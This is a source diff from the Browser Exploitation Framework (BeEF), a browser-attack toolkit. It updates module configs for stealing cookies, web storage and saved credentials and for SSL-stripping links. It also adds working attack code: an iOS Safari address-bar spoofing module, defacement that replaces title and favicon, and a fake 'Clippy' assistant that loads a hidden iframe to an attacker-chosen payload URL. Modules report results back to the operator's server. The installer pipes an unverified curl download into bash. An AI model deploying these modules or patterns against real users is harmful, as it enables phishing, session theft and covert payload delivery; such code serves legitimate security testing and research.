beef.execute(function() {
|
||||
beef.net.xssrays.startScan('#{xs.id}', '#{hb.session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
|
||||
});
|
||||
}
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
|
||||
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//', "")
|
||||
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
|
||||
ws.send(content + @body,hb.session)
|
||||
#if we use WebSockets, just reply wih the component contents
|
||||
else # if we use XHR-polling, add the component to the main hook file
|
||||
build_missing_beefjs_components 'beef.net.xssrays'
|
||||
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
|
||||
end
|
||||
|
||||
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}], js console debug [#{debug}].")
|
||||
|
||||
end
|
||||
|
||||
def add_to_body(id, session, beefurl, cross_domain, timeout, debug)
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
|
||||
});
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -22,4 +22,4 @@ beef:
|
||||
clean_timeout: 3000
|
||||
cross_domain: true
|
||||
# set js_console_logs to false when using BeEF in production (also because IE < 9 doesn't support the console object)
|
||||
js_console_logs: false
|
||||
js_console_logs: true
|
||||
|
||||
37
install-beef
37
install-beef
@@ -18,6 +18,17 @@ clear
|
||||
echo "======================================"
|
||||
echo " BeEF Installer "
|
||||
echo "======================================"
|
||||
echo ""
|
||||
|
||||
echo "CAUTION: This installation script will install a number of BeEF dependencies including the Ruby-RVM environemnt and it's dependencies."
|
||||
echo ""
|
||||
echo "In rare cases, this may lead to unexpected behaviour or package conflicts on some systems."
|
||||
echo ""
|
||||
read -p "Are you sure you wish to continue (Y/n)? "
|
||||
if [ "`echo ${REPLY} | tr [:upper:] [:lower:]`" == "n" ] ; then
|
||||
exit;
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "Detecting OS..";
|
||||
|
||||
@@ -52,7 +63,6 @@ if [ "$OS" == "Darwin" ]; then
|
||||
bundle install
|
||||
OK="yes"
|
||||
|
||||
cd beef
|
||||
./beef
|
||||
|
||||
echo ""
|
||||
@@ -69,17 +79,31 @@ if [ "$Distro" == "Debian" ]; then
|
||||
echo "Debian/Ubuntu Detected"
|
||||
echo "Installing Prerequisite Packages.."
|
||||
sudo apt-get update
|
||||
sudo apt-get install ruby1.9.1-dev build-essential libsqlite3-ruby libsqlite3-dev build-essential libsqlite3-ruby git libsqlite3-dev rake
|
||||
sudo apt-get install curl git
|
||||
|
||||
|
||||
|
||||
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison subversion
|
||||
|
||||
bash < <(curl -sk https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
|
||||
|
||||
echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc
|
||||
|
||||
source ~/.bashrc
|
||||
source $HOME/.rvm/scripts/rvm
|
||||
|
||||
rvm install 1.9.2
|
||||
rvm use 1.9.2 --default
|
||||
|
||||
echo "Downloading BeEF.."
|
||||
git clone git://github.com/beefproject/beef.git
|
||||
cd beef
|
||||
|
||||
echo "Installing Ruby Gems"
|
||||
sudo gem install bundler
|
||||
sudo bundle install
|
||||
gem install bundler
|
||||
bundle install
|
||||
|
||||
|
||||
cd beef
|
||||
./beef
|
||||
|
||||
OK="yes"
|
||||
@@ -115,7 +139,6 @@ if [ "$Distro" == "RedHat" ]; then
|
||||
|
||||
source ~/.bash_profile
|
||||
|
||||
cd beef
|
||||
./beef
|
||||
|
||||
OK="yes"
|
||||
@@ -128,7 +151,7 @@ if [ "$Distro" == "RedHat" ]; then
|
||||
fi
|
||||
|
||||
if [ "$OK" == "yes" ]; then
|
||||
|
||||
echo ""
|
||||
else
|
||||
echo ""
|
||||
echo "======================================="
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
ajax_fingerprint:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Fingerprint Ajax"
|
||||
description: "Fingerprint Ajax and JS libraries present on the hooked page."
|
||||
authors: ["qswain"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
alert_dialog:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Create Alert Dialog"
|
||||
description: "Sends an alert dialog to the hooked browser."
|
||||
authors: ["wade", "bm"]
|
||||
@@ -14,7 +14,10 @@
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
document.body.innerHTML = "<%= @deface_content %>";
|
||||
document.title = "<%= @deface_title %>";
|
||||
beef.browser.changeFavicon("<%= @deface_favicon %>");
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful");
|
||||
});
|
||||
@@ -17,9 +17,9 @@ beef:
|
||||
module:
|
||||
deface_web_page:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace Content (Deface)"
|
||||
description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string."
|
||||
description: "Overwrite the page, title and shortcut icon on the hooked page."
|
||||
authors: ["antisnatchor"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
@@ -16,7 +16,11 @@
|
||||
class Deface_web_page < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
|
||||
return [
|
||||
{ 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
|
||||
{ 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
|
||||
{ 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' }
|
||||
]
|
||||
end
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_cookie:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Cookie"
|
||||
description: "This module will retrieve the session cookie from the current page."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_local_storage:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Local Storage"
|
||||
description: "Extracts data from the HTML5 localStorage object."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_page_html:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Page HTML"
|
||||
description: "This module will retrieve the HTML from the current page."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_page_links:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Page HREFs"
|
||||
description: "This module will retrieve HREFs from the target page."
|
||||
authors: ["vo"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_session_storage:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Session Storage"
|
||||
description: "Extracts data from the HTML5 sessionStorage object."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_stored_credentials:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Get Stored Credentials"
|
||||
description: "This module retrieves saved username/password combinations from the login page on the hooked domain.<br /><br />It will fail if more than one set of domain credentials are saved in the browser."
|
||||
authors: ["bcoles"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
link_rewrite:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace HREFs"
|
||||
description: "This module will rewrite all the href attributes of all matched links."
|
||||
authors: ["passbe"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
link_rewrite_sslstrip:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace HREFs (HTTPS)"
|
||||
description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten."
|
||||
authors: ["bcoles"]
|
||||
@@ -0,0 +1,38 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
var somethingsomething = function() {
|
||||
var fake_url = "<%= @fake_url %>";
|
||||
var real_url = "<%= @real_url %>";
|
||||
|
||||
var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');
|
||||
newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>');
|
||||
newWindow.focus();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');
|
||||
}
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
$j('<%= @domselectah %>').each(function() {
|
||||
$j(this).attr('href','#').click(function() {
|
||||
somethingsomething();
|
||||
return true;
|
||||
});
|
||||
});
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');
|
||||
|
||||
});
|
||||
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
mobilesafari_address_spoofing:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "iOS Address Bar Spoofing"
|
||||
description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')"
|
||||
authors: ["bcoles","xntrik","majorsecurity.net"]
|
||||
target:
|
||||
working:
|
||||
S:
|
||||
os: ["iPhone"]
|
||||
not_working:
|
||||
ALL:
|
||||
os: ["All"]
|
||||
@@ -0,0 +1,34 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Mobilesafari_address_spoofing < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'fake_url', 'ui_label' => 'Fake URL', 'type' => 'text', 'value' =>'http://en.wikipedia.org/wiki/Beef'},
|
||||
{'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'http://www.beefproject.com'},
|
||||
{'name' => 'domselectah', 'ui_label' => 'jQuery Selector for Link rewriting. \'a\' will overwrite all links', 'type' => 'text', 'value' => 'a'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['results'] = @datastore['results']
|
||||
content['query'] = @datastore['query']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
prompt_dialog:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Create Prompt Dialog"
|
||||
description: "Sends a prompt dialog to the hooked browser."
|
||||
authors: ["wade", "bm"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
replace_video:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Replace Videos"
|
||||
description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)."
|
||||
authors: ["Yori Kvitchko", "antisnatchor"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
rickroll:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Redirect Browser (Rickroll)"
|
||||
description: "Overwrite the body of the page the victim is on with a full screen Rickroll."
|
||||
authors: ["Yori Kvitchko"]
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
site_redirect:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Redirect Browser"
|
||||
description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input."
|
||||
authors: ["wade", "vo"]
|
||||
@@ -18,6 +18,7 @@ beef.execute(function() {
|
||||
var result = 'Iframe successfully created!';
|
||||
var title = '<%= @iframe_title %>';
|
||||
var iframe_src = '<%= @iframe_src %>';
|
||||
var iframe_favicon = '<%= @iframe_favicon %>';
|
||||
var sent = false;
|
||||
|
||||
$j("iframe").remove();
|
||||
@@ -25,6 +26,7 @@ beef.execute(function() {
|
||||
beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } });
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
beef.browser.changeFavicon(iframe_favicon);
|
||||
|
||||
setTimeout(function() {
|
||||
if(!sent) {
|
||||
@@ -17,9 +17,9 @@ beef:
|
||||
module:
|
||||
site_redirect_iframe:
|
||||
enable: true
|
||||
category: "Hooked Domain"
|
||||
category: ["Browser","Hooked Domain"]
|
||||
name: "Redirect Browser (iFrame)"
|
||||
description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
|
||||
description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.<br><br>The content of the URL bar will not be changed in the hooked browser."
|
||||
authors: ["ethicalhack3r", "Yori Kvitchko"]
|
||||
target:
|
||||
user_notify: ["ALL"]
|
||||
@@ -16,8 +16,12 @@
|
||||
class Site_redirect_iframe < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico"
|
||||
return [
|
||||
{ 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' },
|
||||
{ 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' },
|
||||
|
||||
{ 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'http://beefproject.com/', 'width'=>'200px' },
|
||||
{ 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' }
|
||||
]
|
||||
423
modules/misc/clippy/command.js
Executable file
423
modules/misc/clippy/command.js
Executable file
@@ -0,0 +1,423 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
/**
|
||||
* Heretic Clippy
|
||||
* @version 1.0.0
|
||||
* @author sprky0
|
||||
* @modified vt & denden
|
||||
**/
|
||||
|
||||
function __clippyboot(run) {
|
||||
var _run = run;
|
||||
if (!document.getElementsByTagName("body")[0]) {
|
||||
setTimeout(function(){__clippyboot(_run);},10);
|
||||
} else {
|
||||
_run();
|
||||
}
|
||||
}
|
||||
|
||||
var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}}
|
||||
|
||||
var HelpText = function(_question,reusable) {
|
||||
this.question = _question;
|
||||
this.options = [];
|
||||
this.key = GUID.get();
|
||||
this.views = 0;
|
||||
this.reusable = (reusable === true);
|
||||
this.timeout = {};
|
||||
return this;
|
||||
}
|
||||
HelpText.prototype.available = function() {
|
||||
return (this.views < 1 || this.reusable === true);
|
||||
}
|
||||
HelpText.prototype.addResponseURL = function(_text,_url) {
|
||||
this.options.push({text:_text,URL:_url,rel:"external"});
|
||||
return;
|
||||
}
|
||||
HelpText.prototype.addResponse = function(_text,_callback) {
|
||||
this.options.push({text:_text,callback:_callback,rel:"internal"});
|
||||
return;
|
||||
}
|
||||
HelpText.prototype.addTimeout = function(_timeout,_callback) {
|
||||
this.timeout = {callback:_callback,timeout:_timeout};
|
||||
}
|
||||
HelpText.prototype.getKey = function() {return this.key;}
|
||||
HelpText.prototype.toString = function() {
|
||||
return this.question;
|
||||
}
|
||||
HelpText.prototype.toString = function() {
|
||||
return this.getKey();
|
||||
}
|
||||
HelpText.prototype.toElements = function() {
|
||||
|
||||
this.views++;
|
||||
|
||||
var div = document.createElement('div');
|
||||
var p = document.createElement('p');
|
||||
p.innerHTML = this.question;
|
||||
div.appendChild(p);
|
||||
|
||||
for(var i = 0; i < this.options.length; i++) {
|
||||
var button = document.createElement('button');
|
||||
button.innerHTML = this.options[i].text;
|
||||
if (this.options[i].rel == "internal")
|
||||
button.onclick = this.options[i].callback;
|
||||
else {
|
||||
var _Option = this.options[i];
|
||||
button.onclick = function(){
|
||||
window.location = _Option.URL;
|
||||
}
|
||||
}
|
||||
div.appendChild(button);
|
||||
}
|
||||
|
||||
if (this.timeout.callback && typeof(this.timeout.callback) == "function") {
|
||||
setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500));
|
||||
}
|
||||
|
||||
return div;
|
||||
}
|
||||
|
||||
/* CLIPPY Display */
|
||||
var ClippyDisplay = function(options) {
|
||||
|
||||
this.file_dir = (options.file_dir) ? options.file_dir : "";
|
||||
|
||||
this.div = document.createElement('div');
|
||||
this.div.style.zIndex = 1000000;
|
||||
this.div.style.width = "102px";
|
||||
this.div.style.height = "98px";
|
||||
this.div.style.backgroundColor = "transparent";
|
||||
this.div.style.position = "absolute";
|
||||
this.div.style.bottom = 0;
|
||||
this.div.style.color = "black";
|
||||
this.div.style.right = "60px";
|
||||
this.div.style.display = "inline";
|
||||
|
||||
if (navigator.userAgent.match(/MSIE/)) {
|
||||
this.div.style.filter = "revealTrans(transition=12,duration=1.8)";
|
||||
}
|
||||
else {
|
||||
var img = new Image();
|
||||
img.src = this.file_dir + "clippy-main.png";
|
||||
img.style.position = "relative";
|
||||
img.style.display = "block";
|
||||
img.id = "clippyid";
|
||||
|
||||
this.div.appendChild(img);
|
||||
}
|
||||
|
||||
this.div.style.opacity = (options.visible === false) ? 0 : 1;
|
||||
|
||||
return this;
|
||||
}
|
||||
ClippyDisplay.prototype.getElement = function() {
|
||||
return this.div || null;
|
||||
}
|
||||
ClippyDisplay.prototype.fadeIn = function(duration,options) {
|
||||
|
||||
var _clipple = this;
|
||||
|
||||
if (!options)
|
||||
options = {};
|
||||
if (!options.step)
|
||||
options.step = 1 / 200;
|
||||
if (!options.value)
|
||||
options.value = 0;
|
||||
if (!options.remain)
|
||||
options.remain = 199;
|
||||
if (!options.increment)
|
||||
options.increment = duration / 200;
|
||||
|
||||
options.remain--;
|
||||
options.value += options.step;
|
||||
|
||||
if (navigator.userAgent.match(/MSIE/)) {
|
||||
imgfile = _clipple.file_dir + "clippy-main.png";
|
||||
_clipple.div.filters[0].Apply();
|
||||
_clipple.div.innerHTML="<img src='"+imgfile+"' />";
|
||||
_clipple.div.filters[0].Play();
|
||||
}
|
||||
else {
|
||||
_clipple.div.style.opacity = options.value;
|
||||
if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); }
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
ClippyDisplay.prototype.fadeOut = function(duration,options) {
|
||||
|
||||
var _clipple = this;
|
||||
|
||||
if (!options)
|
||||
options = {};
|
||||
if (!options.step)
|
||||
options.step = 1 / 200;
|
||||
if (!options.value)
|
||||
options.value = 1;
|
||||
if (!options.remain)
|
||||
options.remain = 199;
|
||||
if (!options.increment)
|
||||
options.increment = duration / 200;
|
||||
|
||||
options.remain--;
|
||||
options.value -= options.step;
|
||||
_clipple.div.style.opacity = options.value;
|
||||
|
||||
|
||||
|
||||
if (navigator.userAgent.match(/MSIE/)) {
|
||||
document.body.removeChild(document.getElementById("pipes"));
|
||||
}
|
||||
else {
|
||||
if (options.remain > 0) {
|
||||
setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment);
|
||||
}
|
||||
else{
|
||||
document.body.removeChild(document.getElementById("pipes"));
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/** SPEECH BUBBLE **/
|
||||
|
||||
var PopupDisplay = function(o,options) {
|
||||
|
||||
this.file_dir = (options.file_dir) ? options.file_dir : "";
|
||||
|
||||
if (typeof(o) === "string") {
|
||||
p = document.createElement('p');
|
||||
p.innerHTML = o;
|
||||
o = p;
|
||||
}
|
||||
|
||||
this.div = document.createElement('div');
|
||||
this.div.style.zIndex = 1000000;
|
||||
this.div.style.width = "130px";
|
||||
this.div.style.height = "auto";
|
||||
this.div.style.backgroundColor = "transparent";
|
||||
this.div.style.color = "black";
|
||||
this.div.style.position = "absolute";
|
||||
this.div.style.bottom = "85px";
|
||||
this.div.style.right = "55px";
|
||||
this.div.style.display = "block";
|
||||
|
||||
var imgTop = new Image();
|
||||
imgTop.src = this.file_dir + "clippy-speech-top.png";
|
||||
imgTop.style.position = "relative";
|
||||
imgTop.style.display = "block";
|
||||
this.div.appendChild(imgTop);
|
||||
|
||||
this.message = document.createElement('div');
|
||||
this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y";
|
||||
this.message.style.padding = "8px";
|
||||
this.message.style.font = "11.5px Arial, Verdana, Sans";
|
||||
this.message.appendChild(o);
|
||||
|
||||
this.div.appendChild(this.message);
|
||||
|
||||
var imgBottom = new Image();
|
||||
imgBottom.src = this.file_dir + "clippy-speech-bottom.png";
|
||||
imgBottom.style.position = "relative";
|
||||
imgBottom.style.display = "block";
|
||||
this.div.appendChild(imgBottom);
|
||||
|
||||
return this;
|
||||
}
|
||||
PopupDisplay.prototype.close = function() {
|
||||
try {
|
||||
var div = this.getElement();
|
||||
if (div != null && div.parentNode) {
|
||||
div = div.parentNode;
|
||||
div.removeChild(this.getElement());
|
||||
}
|
||||
} catch(e) {
|
||||
// alert(e)
|
||||
}
|
||||
}
|
||||
PopupDisplay.prototype.getElement = function() {
|
||||
return this.div;
|
||||
}
|
||||
|
||||
|
||||
/** CLIPPY controller **/
|
||||
|
||||
var Clippy = function(_homeSelector,file_dir) {
|
||||
this.help = {};
|
||||
// What options are OK to use as an introductory question?
|
||||
this.firstlines = [];
|
||||
this.homebase = this.findHomeBase(_homeSelector);
|
||||
this.timer = false;
|
||||
this.file_dir = file_dir;
|
||||
return this;
|
||||
}
|
||||
Clippy.prototype.findHomeBase = function(selector) {
|
||||
|
||||
if (!selector)
|
||||
selector = "body";
|
||||
|
||||
var ref = false;
|
||||
|
||||
if (selector.charAt(0)=="#") {
|
||||
ref = document.getElementById(selector);
|
||||
} else {
|
||||
ref = document.getElementsByTagName(selector)[0];
|
||||
|
||||
var div = document.createElement("div");
|
||||
|
||||
div.style.zIndex = 9999999;
|
||||
div.id = "pipes";
|
||||
div.style.width = "300px";
|
||||
div.style.height = "300px";
|
||||
div.style.backgroundColor = "transparent";
|
||||
div.style.position = "absolute";
|
||||
div.style.bottom = "0";
|
||||
div.style.right = "0";
|
||||
|
||||
ref.appendChild(div);
|
||||
|
||||
return div;
|
||||
|
||||
}
|
||||
|
||||
console.log(ref);
|
||||
|
||||
return ref;
|
||||
}
|
||||
Clippy.prototype.run = function(opt) {
|
||||
|
||||
var _c = this;
|
||||
|
||||
this.character = new ClippyDisplay({
|
||||
file_dir : this.file_dir,
|
||||
visible : false
|
||||
});
|
||||
this.homebase.appendChild( this.character.getElement() );
|
||||
this.character.fadeIn(1000);
|
||||
|
||||
var Help = new HelpText("<%== @askusertext %>");
|
||||
Help.addResponse("Yes", function(){ _c.hahaha(); } );
|
||||
Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } );
|
||||
this.addHelp(Help,true);
|
||||
|
||||
// initial wait
|
||||
this.talkLater();
|
||||
|
||||
}
|
||||
Clippy.prototype.killClippy = function(){
|
||||
|
||||
this.closeBubble();
|
||||
this.character.fadeOut(1000);
|
||||
}
|
||||
Clippy.prototype.hahaha = function() {
|
||||
|
||||
var div = document.createElement("div");
|
||||
var _c = this;
|
||||
div.id = "heehee";
|
||||
div.style.display = "none";
|
||||
div.innerHTML="<iframe src='<%== @executeyes %>' width=1 height=1 style='display:none'></iframe>";
|
||||
|
||||
document.body.appendChild(div);
|
||||
_c.openBubble("<%== @thankyoumessage %>");
|
||||
setTimeout(function () { _c.killClippy(); }, 5000);
|
||||
|
||||
}
|
||||
Clippy.prototype.addHelp = function(_help, is_startphrase) {
|
||||
this.help[ _help.getKey() ] = _help;
|
||||
if (is_startphrase)
|
||||
this.firstlines.push( _help.getKey() );
|
||||
|
||||
return;
|
||||
}
|
||||
Clippy.prototype.sayOne = function(keys,alternative) {
|
||||
|
||||
var found = false, count = 0;
|
||||
|
||||
while(count < keys.length) {
|
||||
var choice = parseInt( Math.random() * keys.length );
|
||||
if( this.canSay( keys[choice]) ) {
|
||||
this.say(keys[choice]);
|
||||
return;
|
||||
}
|
||||
count ++;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
Clippy.prototype.canSay = function(key) {
|
||||
return this.help[ key ].available();
|
||||
}
|
||||
Clippy.prototype.say = function(key,alternative) {
|
||||
|
||||
if (this.timer != false) {
|
||||
try {
|
||||
clearTimeout(this.timer);
|
||||
this.timer = false;
|
||||
} catch(e) {}
|
||||
}
|
||||
|
||||
if(typeof(key) !== "string" && key.length)
|
||||
this.sayOne(key,alternative);
|
||||
|
||||
this.openBubble( this.help[ key ].toElements() );
|
||||
}
|
||||
Clippy.prototype.firstLine = function() {
|
||||
this.sayOne(this.firstlines);
|
||||
}
|
